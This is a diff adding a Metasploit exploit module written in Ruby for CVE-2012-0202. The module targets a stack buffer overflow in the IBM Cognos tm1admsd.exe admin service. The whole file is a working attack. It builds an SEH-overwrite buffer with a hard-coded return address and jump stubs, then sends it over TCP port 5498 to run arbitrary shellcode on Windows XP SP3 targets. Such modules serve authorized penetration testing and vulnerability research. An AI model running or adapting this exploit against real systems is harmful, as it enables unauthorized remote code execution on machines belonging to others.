|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::Tcp |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'IBM Cognos tm1admsd.exe Overflow', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a stack buffer overflow in IBM Cognos Analytic Server |
| 20 | + Admin service. The vulnerability exists in the tm1admsd.exe component, due to a |
| 21 | + dangerous copy of user controlled data to the stack, via memcpy, without validating |
| 22 | + the supplied length and data. The module has been tested successfully on IBM Cognos |
| 23 | + Express 9.5 over Windows XP SP3. |
| 24 | + }, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Unknown', # Original discovery |
| 28 | + 'juan vazquez' # Metasploit module |
| 29 | + ], |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + ['CVE', '2012-0202'], |
| 34 | + ['OSVDB', '80876'], |
| 35 | + ['BID', '52847'], |
| 36 | + ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-101/'], |
| 37 | + ['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21590314'] |
| 38 | + ], |
| 39 | + 'Privileged' => true, |
| 40 | + 'DefaultOptions' => |
| 41 | + { |
| 42 | + 'SSL' => true, |
| 43 | + 'SSLVersion' => 'TLS1' |
| 44 | + }, |
| 45 | + 'Payload' => |
| 46 | + { |
| 47 | + 'Space' => 10359, |
| 48 | + 'DisableNops' => true |
| 49 | + }, |
| 50 | + 'Platform' => 'win', |
| 51 | + 'DefaultTarget' => 0, |
| 52 | + 'Targets' => |
| 53 | + [ |
| 54 | + # tm1admsd.exe 9.5.10009.10070 |
| 55 | + # ret from unicode.nls # call dword ptr ss:[ebp+0x30] # tested over Windows XP SP3 updates |
| 56 | + [ 'IBM Cognos Express 9.5 / Windows XP SP3', { 'Ret' => 0x00280b0b, 'Offset' => 10359 } ] |
| 57 | + ], |
| 58 | + 'DisclosureDate' => 'Apr 02 2012')) |
| 59 | + |
| 60 | + register_options([Opt::RPORT(5498)], self.class) |
| 61 | + end |
| 62 | + |
| 63 | + def exploit |
| 64 | + |
| 65 | + sploit = payload.encoded |
| 66 | + sploit << rand_text(target['Offset'] - sploit.length) |
| 67 | + sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']}").encode_string |
| 68 | + sploit << "\xEB\xF9" + rand_text(2) # jmp $-5 |
| 69 | + sploit << [target.ret].pack("V") # seh |
| 70 | + sploit << rand_text(2000) # Trigger exception |
| 71 | + |
| 72 | + data = rand_text(4) |
| 73 | + data << "\x00\x08" # Opcode |
| 74 | + data << [sploit.length].pack("n") # Length |
| 75 | + data << sploit # Value |
| 76 | + |
| 77 | + length = [data.length + 2].pack("n") |
| 78 | + |
| 79 | + req = length |
| 80 | + req << data |
| 81 | + |
| 82 | + connect |
| 83 | + sock.put(req) |
| 84 | + disconnect |
| 85 | + |
| 86 | + end |
| 87 | +end |
| 88 | + |
0 commit comments